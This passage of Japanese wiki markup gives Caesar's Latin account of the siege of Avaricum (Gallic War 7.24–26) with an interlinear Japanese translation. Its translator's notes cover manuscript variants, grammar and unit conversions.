**突破されることも、引きはがされることもできないからである。──
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===24節===
[[画像:Avaricum_westpoint_july_2006.jpg|thumb|right|350px|[[w:アウァリクム包囲戦|アウァーリクム攻略戦]]の[[w:ジオラマ|ジオラマ]]&lt;small&gt;（[[w:陸軍士官学校 (アメリカ合衆国)|米国陸軍士官学校]]博物館）&lt;/small&gt;。ローマ軍の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は、城壁（奥）の手前に材木と土砂を積み重ねた構築物が築き上げられ、左右の土手道をそれぞれ4層の[[w:攻城塔|攻城櫓]]が城壁に迫る。土塁の周辺には&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（vinea）を多数つないだ通路（坑道）が延びている。手前には2台の&lt;ruby&gt;&lt;rb&gt;投射機&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が見える。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/24節]]　{{進捗|00%|2026-06-15}}&lt;/span&gt;
;ローマ勢が徹夜の土塁工事、籠城ガッリア勢の攻勢
:　
;　　　ローマ勢が、25日間で大がかりな攻城設備を構築する
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His [[wikt:en:tot#Latin|tot]] rebus [[wikt:en:impeditus#Latin|impedita]] [[wikt:en:oppugnatio#Latin|oppugnatione]] 
**これら多くの事情により攻囲が妨げられて、
*[[wikt:en:miles#Latin|milites]], 
**兵士たちは、
*cum [[wikt:en:totus#Etymology_1|toto]] tempore &lt;u&gt;luto&lt;/u&gt; [[wikt:en:frigus#Latin|frigore]] et [[wikt:en:adsiduus#Latin|adsiduis]] [[wikt:en:imber#Latin|imbribus]] &lt;u&gt;tardarentur&lt;/u&gt;, 
**常時、&lt;ruby&gt;&lt;rb&gt;&lt;u&gt;泥土&lt;/u&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ルトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、寒さと絶え間ない&lt;ruby&gt;&lt;rb&gt;雨嵐&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;イムベル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;によって遅らせられていたが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:lutum#Latin|luto]] は、&amp;beta;系写本の記述で、&lt;br&gt;　　　　　　　　　　　　&amp;alpha;系写本にはない。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の二つ目は、&lt;br&gt;　　　　　　　　&amp;chi;系･&amp;beta;系写本では [[wikt:en:tardarentur#Latin|tardarentur]] だが、&lt;br&gt;　　　　　　　　写本B･M･Sでは traderentur、&lt;br&gt;　　　　　　　　写本L･Nでは terrerentur などとなっている。）&lt;/span&gt;
*tamen [[wikt:en:continens#Adjective|continenti]] [[wikt:en:labor#Latin|labore]] omnia haec [[wikt:en:superaverunt#Latin|superaverunt]] 
**しかしながら、絶え間ない労働によってこれらすべてに打ち克って、
*et diebus XXV&lt;small&gt; ([[wikt:en:quinque#Latin|quinque]] et [[wikt:en:viginti#Latin|viginti]])&lt;/small&gt; 
**25日間で、
*[[wikt:en:agger#Latin|aggerem]] [[wikt:en:latus#Latin:_wide|latum]] [[wikt:en:pes#Latin|pedes]] CCCXXX&lt;small&gt; ([[wikt:en:trecenti#Latin|trecenti]] [[wikt:en:triginta#Latin|triginta]])&lt;/small&gt;, [[wikt:en:altus#Latin|altum]] pedes LXXX&lt;small&gt; ([[wikt:en:octoginta#Latin|octoginta]])&lt;/small&gt; [[wikt:en:exstruxerunt#Latin|exstruxerunt]]. 
**幅330&lt;u&gt;ペース&lt;/u&gt;、高さ80&lt;u&gt;ペース&lt;/u&gt;の&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を築き上げた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、幅330ペースは約98メートル。高さ80ペースは約24メートル。）&lt;/span&gt;
:　
;　　　アウァーリクムに籠城するガッリア勢が、攻囲するローマ勢の土塁に夜襲をしかける
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Cum is [[wikt:en:murus#Latin|murum]] hostium paene [[wikt:en:contingeret#Latin|contingeret]], 
**それ&lt;small&gt;〔ローマ側の土塁〕&lt;/small&gt;が敵の城壁にほとんど接しようとしていたとき、
*et Caesar ad [[wikt:en:opus#Latin|opus]] [[wikt:en:consuetudo#Latin|consuetudine]] [[wikt:en:excubaret#Latin|excubaret]] 
**かつ、カエサルが習慣により作業のそばで寝ずの番をしていて、
*[[wikt:en:miles#Latin|milites]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:hortaretur#Latin|hortaretur]], ne [[wikt:en:aliquod#Latin|quod]] [[wikt:en:omnino#Latin|omnino]] [[wikt:en:tempus#Latin|tempus]] ab [[wikt:en:opus#Latin|opere]] [[wikt:en:intermitteretur#Latin|intermitteretur]], 
**いかなる時も作業がまったく中断されないように、と兵士たちを励ましていたときに、
*paulo ante tertiam [[wikt:en:vigilia#Latin|vigiliam]] 
**第三夜警時の少し前に、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：第三夜警時は、真夜中から日の出までの時間帯の前半。「未明」&lt;br&gt;　　　　[[古代ローマの不定時法#夜警時|#夜警時]] を参照。）&lt;/span&gt;
*est [[wikt:en:animadversus#Participle|animadversum]] [[wikt:en:fumo#Latin|fumare]] [[wikt:en:agger#Latin|aggerem]], 
**土塁に煙が上がっていることが気付かれた。
*quem [[wikt:en:cuniculus#Latin|cuniculo]] hostes [[wikt:en:succenderant#Latin|succenderant]]; 
**&lt;small&gt;（その土塁を）&lt;/small&gt;[[w:坑道|坑道]]によって敵たちが焼き討ちしていたものである。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:idem#Latin|eodem]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:tempus#Latin|tempore]] 
**そして同時に、
*[[wikt:en:totus#Latin|toto]] [[wikt:en:murus#Latin|muro]] [[wikt:en:clamor#Latin|clamore]] [[wikt:en:sublatus#Latin:_raised|sublato]], 
**&lt;small&gt;（アウァーリクムの）&lt;/small&gt;城壁全体で雄叫びが上がって、
*duabus portis ab [[wikt:en:uterque#Latin|utroque]] [[wikt:en:latus#Latin:_side|latere]] [[wikt:en:turris#Latin|turrium]] 
**二つの城門より、&lt;small&gt;（ローマ勢の）&lt;/small&gt;[[w:攻城塔|攻城櫓]]の両方の側面から
*[[wikt:en:eruptio#Latin|eruptio]] [[wikt:en:fiebat#Latin|fiebat]].
**&lt;small&gt;（ガッリア勢による）&lt;/small&gt;突撃がなされていた。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Alii [[wikt:en:fax#Latin|faces]] atque [[wikt:en:aridus#Latin|aridam]] &lt;u&gt;materiam&lt;/u&gt; de [[wikt:en:murus#Latin|muro]] in [[wikt:en:agger#Latin|aggerem]] [[wikt:en:eminus#Latin|eminus]] [[wikt:en:iaciebant#Latin|iaciebant]], 
**&lt;small&gt;（ガッリア勢の）&lt;/small&gt;他の者たちは、&lt;ruby&gt;&lt;rb&gt;[[w:たいまつ|松明]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たいまつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;および乾いた材木を、城壁から&lt;small&gt;（ローマ側の）&lt;/small&gt;土塁に、遠くから投げ込んで、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では [[wikt:en:materiam#Latin|materiam]] だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では [[wikt:en:materiem#Latin|materiem]] となっている。&lt;br&gt;　　　　　　　　　文法学者[[w:カエサレアのプリスキアヌス|プリスキアーヌス]]は、カエサルの文法書 &quot;De Analogia&quot; について materiam と引用している。）&lt;/span&gt;
*[[wikt:en:pix#Latin|picem]] [[wikt:en:reliquus#Latin|reliquas]]&lt;nowiki&gt;que&lt;/nowiki&gt; res, quibus [[wikt:en:ignis#Latin|ignis]] [[wikt:en:excitari#Latin|excitari]] potest, [[wikt:en:fundebant#Latin|fundebant]], 
**&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や、火を燃え立たせられるほかのもの&lt;small&gt;〔可燃物〕&lt;/small&gt;を注ぎ込んだ。
*ut, [[wikt:en:quo#Latin:_where|quo]] primum &lt;u&gt;curreretur&lt;/u&gt; aut cui rei [[wikt:en:ferretur#Latin|ferretur]] [[wikt:en:auxilium#Latin|auxilium]], 
**それで、まずどこに駆け付けるのか、あるいはどの事態に支援がなされるのか、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:curreretur#Latin|curreretur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:occurreretur#Latin|occurreretur]] となっている。）&lt;/span&gt;
*vix [[wikt:en:ratio#Latin|ratio]] [[wikt:en:iniri#Latin|iniri]] posset. 
**&lt;small&gt;（ローマ兵には）&lt;/small&gt;ほとんど分別され得なかった。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Tamen, quod [[wikt:en:institutum#Latin|instituto]] Caesaris &lt;u&gt;semper duae&lt;/u&gt; [[wikt:en:legio#Latin|legiones]] pro [[wikt:en:castra#Latin|castris]] [[wikt:en:excubabant#Latin|excubabant]] 
**しかしながら、カエサルの定めにより常に2個[[w:ローマ軍団|軍団]]が陣営の前に寝ずの番をしていたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本の語順では semper duae だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本の語順では duae semper となっている。）&lt;/span&gt;
*[[wikt:en:plus#Latin|plures]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:partitus#Latin|partitis]] [[wikt:en:tempus#Latin|temporibus]] erant in [[wikt:en:opus#Latin|opere]], 
**かつ、より多くの者たちが時間を割り当てられて作業していたので、
*celeriter [[wikt:en:factus#Latin|factum]] est, 
**&lt;small&gt;（防戦は）&lt;/small&gt;速やかになされた。
*ut &lt;u&gt;alii&lt;/u&gt; [[wikt:en:eruptio#Latin|eruptionibus]] [[wikt:en:resisterent#Latin|resisterent]], 
**ある者たちは&lt;small&gt;（ガッリア勢の）&lt;/small&gt;突撃に抵抗しており、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：alii ～ alii …「～する者もいれば、…する者もいる。」）&lt;/span&gt;
*&lt;u&gt;alii&lt;/u&gt; [[wikt:en:turris#Latin|turres]] [[wikt:en:reducerent#Latin|reducerent]] 
**別のある者たちは[[w:攻城塔|攻城櫓]]を引き戻して、
*[[wikt:en:agger#Latin|aggerem]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:interscinderent#Latin|interscinderent]], 
**土塁を&lt;small&gt;（城壁側から）&lt;/small&gt;切り離していた。
*omnis vero ex [[wikt:en:castra#Latin|castris]] [[wikt:en:multitudo#Latin|multitudo]] ad [[wikt:en:restinguendum#Verb|restinguendum]] [[wikt:en:concurreret#Latin|concurreret]].
**さらに陣営から大勢の皆が、消火するために急ぎ集まっていた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===25節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/25節]]　{{進捗|00%|2026-06-29}}&lt;/span&gt;
;籠城ガッリア勢が必死の防戦

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Cum in omnibus locis, &lt;u&gt;[[wikt:en:consumptus#Latin|consumpta]] iam reliqua parte noctis&lt;/u&gt;, [[wikt:en:pugnaretur#Latin|pugnaretur]], 
**&lt;u&gt;すでに夜も明けて&lt;/u&gt;、至る所で戦われていたときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の直訳は「すでに夜の残りの部分も費やされて」。）&lt;/span&gt;
*[[wikt:en:semper#Latin|semper]]&lt;nowiki&gt;que&lt;/nowiki&gt; hostibus [[wikt:en:spes#Latin|spes]] [[wikt:en:victoria#Latin|victoriae]] [[wikt:en:redintegraretur#Latin|redintegraretur]], 
**かつ、常に敵たちにとって勝利の希望が蘇っており、
*&lt;u&gt;eo magis, quod&lt;/u&gt; [[wikt:en:deustus#Latin|deustos]] [[wikt:en:pluteus#Latin|pluteos]] [[wikt:en:turris#Latin|turrium]] [[wikt:en:videbant#Latin|videbant]] nec facile [[wikt:en:adire#Latin|adire]] [[wikt:en:apertus#Latin|apertos]] ad [[wikt:en:auxiliandum#Verb|auxiliandum]]  [[wikt:en:animadvertebant#Latin|animadvertebant]], 
**&lt;span style=&quot;font-family:Times New Roman;font-size:11pt;&quot;&gt;[[w:攻城塔|攻城櫓]]の&lt;ruby&gt;&lt;rb&gt;障壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;プルテウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;焼き落された&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;デウストゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;のを見ていて、&lt;ruby&gt;&lt;rb&gt;身を曝した者&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アペルトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちが救援のために容易に近づけないのに気付いていた&lt;u&gt;のでなおさらだったが&lt;/u&gt;、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:eo magis quod|eo magis quod]] ～ 「～なので、その分だけ、より一層」。[[ガリア戦記 第3巻#14節|第3巻14節]]も参照。）&lt;/span&gt; 
*[[wikt:en:semper#Latin|semper]]&lt;nowiki&gt;que&lt;/nowiki&gt; ipsi [[wikt:en:recens#Adjective|recentes]] [[wikt:en:defessus#Latin|defessis]] [[wikt:en:succederent#Latin|succederent]] 
**常に彼ら自身&lt;small&gt;〔籠城ガッリア勢〕&lt;/small&gt;は新たな者たちが疲れ果てた者たちに交代しており、
*[[wikt:en:omnis#Latin|omnem]]&lt;nowiki&gt;que&lt;/nowiki&gt; Galliae [[wikt:en:salus#Latin|salutem]] &lt;u&gt;in illo [[wikt:en:vestigium#Latin|vestigio]] temporis [[wikt:en:positus#Participle|positam]] &lt;span style=&quot;color:#009900;&quot;&gt;&lt;small&gt;(esse)&lt;/small&gt;&lt;/span&gt;&lt;/u&gt; [[wikt:en:arbitrarentur#Latin|arbitrarentur]], 
**ガッリアのすべての安全が、&lt;u&gt;その瞬間にかかっている&lt;/u&gt;と思われていたので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の直訳は「その時の足跡（瞬間）に置かれている」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以上の cum ～ arbitrarentur, が状況や理由を説明する副文で、以下が主文となっている。）&lt;/span&gt;
*[[wikt:en:accidit#Etymology_1|accidit]] [[wikt:en:inspectans#Latin|inspectantibus]] nobis, 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;が見ているなかで起こったのは、
*[[wikt:en:quod#Pronoun|quod]] [[wikt:en:dignus#Latin|dignum]] [[wikt:en:memoria#Latin|memoria]] [[wikt:en:visus#Participle|visum]] [[wikt:en:praetereundus#Latin|praetereundum]] non [[wikt:en:existimavimus#Latin|existimavimus]]. 
**記憶に値すると思われたことを&lt;small&gt;（我がローマ勢が）&lt;/small&gt;見過ごすべきではないと考えていたことである。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：この主文の主語を省略せずに記せば、以下のようになる。&lt;br&gt;　　　　[id], quod dignum memoria visum [esse] praetereundum [esse] non existimavimus.）&lt;/span&gt;

[[画像:048_Conrad_Cichorius,_Die_Reliefs_der_Traianssäule,_Tafel_XLVIII_(Ausschnitt 01).jpg|thumb|right|250px|&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を操作する[[w:ダキア人|ダキア人]]の彫刻（[[w:トラヤヌスの記念柱|トラヤヌス帝の記念柱]]に刻まれた[[w:レリーフ|レリーフ]]）。]]
[[画像:Balliste_fireing.jpg|thumb|right|250px|&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（[[w:en:Scorpio (dart-thrower)|Scorpio]]）の現代における復元。]]
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:quidam#Determiner|Quidam]] ante portam oppidi [[wikt:en:Gallus#Noun|Gallus]], &lt;u&gt;qui&lt;/u&gt; 
**城塞都市の城門の前にいた、ある&lt;small&gt;（1人の）&lt;/small&gt;ガッリア人が、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の qui は、&amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*per [[wikt:en:manus#Latin:_hand|manus]] [[wikt:en:sebum#Latin|sebi]] ac [[wikt:en:pix#Latin|picis]] [[wikt:en:traditus#Participle|traditas]] [[wikt:en:glaeba#Latin|glaebas]] 
**手から手へと渡された&lt;ruby&gt;&lt;rb&gt;獣脂&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;セーブム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の塊を、
*in [[wikt:en:ignis#Latin|ignem]] &lt;u&gt;e regione&lt;/u&gt; turris [[wikt:en:proiciebat#Latin|proiciebat]]: 
**攻城櫓の正面にある火炎の中に投げ込んでいたが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:e_regione#Latin|ē regiōne]]「まっすぐに」「～の真向かいに」。）&lt;/span&gt;
*[[wikt:en:scorpio#Latin|scorpione]] ab [[wikt:en:latus#Latin:_side|latere]] [[wikt:en:dexter#Latin|dextro]] [[wikt:en:traiectus#Participle|traiectus]] 
**&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で右の横腹を射られて、
*[[wikt:en:exanimatus#Latin|exanimatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:concidit#Verb|concidit]]. 
**息絶えて倒れた。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Hunc ex [[wikt:en:proximus#Noun|proximis]] unus [[wikt:en:iacens#Latin|iacentem]] [[wikt:en:transgressus#Latin|transgressus]] 
**彼が倒れているのを、すぐ近くの者たちのうちの1人が乗り越えて、
*[[wikt:en:idem#Latin|eodem]] illo [[wikt:en:munus#Latin|munere]] [[wikt:en:fungebatur#Latin|fungebatur]]; 
**その同じ&lt;ruby&gt;&lt;rb&gt;任務&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ムーヌス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を果たしていた。
*[[wikt:en:idem#Latin|Eadem]] [[wikt:en:ratio#Latin|ratione]] [[wikt:en:ictus#Noun_4|ictu]] [[wikt:en:scorpio#Latin|scorpionis]] [[wikt:en:exanimatus#Latin|exanimato]] 
**&lt;small&gt;（その第2の者が）&lt;/small&gt;同様に&lt;ruby&gt;&lt;rb&gt;[[w:スコルピオ|投射機]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;スコルピオー&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の射撃で息絶えさせられると
*alteri [[wikt:en:successit#Latin|successit]] tertius 
**&lt;small&gt;（息絶えた）&lt;/small&gt;第2の者に第3の者が代わって、
*et tertio quartus, 
**&lt;small&gt;（さらに）&lt;/small&gt;第3の者に第4の者が&lt;small&gt;（代わった）&lt;/small&gt;。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; &lt;u&gt;nec prius&lt;/u&gt; ille est a [[wikt:en:propugnator#Latin|propugnatoribus]] [[wikt:en:vacuus#Latin|vacuus]] [[wikt:en:relictus#Participle|relictus]] locus 
**防戦者たちは、持ち場を放棄することがなかった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：直訳は「その場（ille locus）は、防戦者たちによって空&lt;small&gt;〔無人〕&lt;/small&gt;にして置かれることがなかった。」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：nec [[wikt:en:prius#Adverb|prius]] ～ [[wikt:en:quam#Conjunction|quam]] …「…するまでは～しなかった」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; [[wikt:en:restinctus#Latin|restincto]] [[wikt:en:agger#Latin|aggere]] atque &lt;u&gt;omni ex parte&lt;/u&gt; [[wikt:en:submotus#Latin|submotis]] hostibus [[wikt:en:finis#Latin:_end|finis]] est [[wikt:en:pugnandi#Verb|pugnandi]] [[wikt:en:factus#Latin:_done|factus]].
**&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が鎮火されて、そのすべての方面から敵たちが追い払われて、戦いに終止符が打たれる&lt;u&gt;までは&lt;/u&gt;。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、omni &lt;u&gt;ex&lt;/u&gt; parte は ''[[ガリア戦記/注解編/写本と校訂版#Ciacconius|Ciacconius]]'' による修正で、&lt;br&gt;　　　　&amp;alpha;系写本では omni &lt;u&gt;ea&lt;/u&gt; parte &lt;br&gt;　　　　&amp;beta;系写本では omni parte となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===26節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/26節]]　{{進捗|00%|2026-07-13}}&lt;/span&gt;
;アウァーリクム脱出の企て、女たちの絶叫
:　
;　　　万策尽きたガッリア勢が、アウァーリクム脱出を企てる
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:omnia#Noun|Omnia]] [[wikt:en:expertus#Participle|experti]] [[wikt:en:Galli#Latin|Galli]], 
**ガッリア人たちはあらゆることを試みたが、
*quod res [[wikt:en:nullus#Determiner|nulla]] [[wikt:en:successerat#Latin|successerat]], 
**何ら事が成功しなかったので、
*[[wikt:en:posterus#Latin|postero]] die [[wikt:en:consilium#Latin|consilium]] [[wikt:en:ceperunt#Latin|ceperunt]] ex [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:profugio#Latin|profugere]], 
**&lt;small&gt;（戦いの夜が明けて）&lt;/small&gt;翌日には、&lt;small&gt;（アウァーリクムの）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;城塞都市&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;から退避する計画を立てた。
*[[wikt:en:hortans#Latin|hortante]] et [[wikt:en:iubens#Latin|iubente]] [[wikt:en:Vercingetorix#Latin|Vercingetorige]]. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]によって促され、命じられたものであった。
:　
;　　　脱出をはかるガッリア勢の期待とその理由
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Id [[wikt:en:silentium#Latin|silentio]] noctis [[wikt:en:conatus#Participle|conati]] 
**そのこと&lt;small&gt;〔アウァーリクムからの退避〕&lt;/small&gt;を夜の静けさのうちに試みても、
*non magna &lt;u&gt;iactura&lt;/u&gt; suorum 
**味方の大きな&lt;ruby&gt;&lt;rb&gt;犠牲&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ヤクトゥーラ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;もなしに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:iactura#Noun|iactura]] は「投げ捨てること」、比喩的に「損害、犠牲」。）&lt;/span&gt;
*sese [[wikt:en:effecturus#Latin|effecturos]] &lt;span style=&quot;color:#009900;&quot;&gt;&lt;small&gt;(esse)&lt;/small&gt;&lt;/span&gt; [[wikt:en:sperabant#Latin|sperabant]], 
**自分たちは成し遂げるだろうと期待していた。
*&lt;u&gt;propterea quod&lt;/u&gt; &lt;u&gt;neque&lt;/u&gt; longe ab oppido [[wikt:en:castra#Latin|castra]] [[wikt:en:Vercingetorix#Latin|Vercingetorigis]] [[wikt:en:aberant#Latin|aberant]], 
**──というのも、ウェルキンゲトリークスの陣営は&lt;small&gt;（アウァーリクムの）&lt;/small&gt;&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;城塞都市&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;からあまり離れていなかったし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:propterea_quod#Latin|propterea quod]] ～「なぜなら～からである」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：neque ～  et …「～ではなく、…である」）&lt;/span&gt;
*&lt;u&gt;et&lt;/u&gt; [[wikt:en:palus#Latin|palus]], &lt;u&gt;quae [[wikt:en:perpetuus#Latin|perpetua]]&lt;/u&gt; [[wikt:en:intercedebat#Latin|intercedebat]], [[wikt:en:Romani#Latin|Romanos]] ad [[wikt:en:insequendum#Verb|insequendum]] [[wikt:en:tardabat#Latin|tardabat]]. 
**沼地も絶え間なく介在していて、ローマ人たちの追跡を遅らせていたからだ。──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：二つ目の下線部は、&amp;alpha;系写本の語順は quae perpetua だが、&lt;br&gt;　　　　　　　　　　　　　&amp;beta;系写本の語順は perpetua quae となっている。）&lt;/span&gt;
:　
;　　　母親たちが男たちに、女子供を置き去りにして敵のいけにえにするな、と哀願する
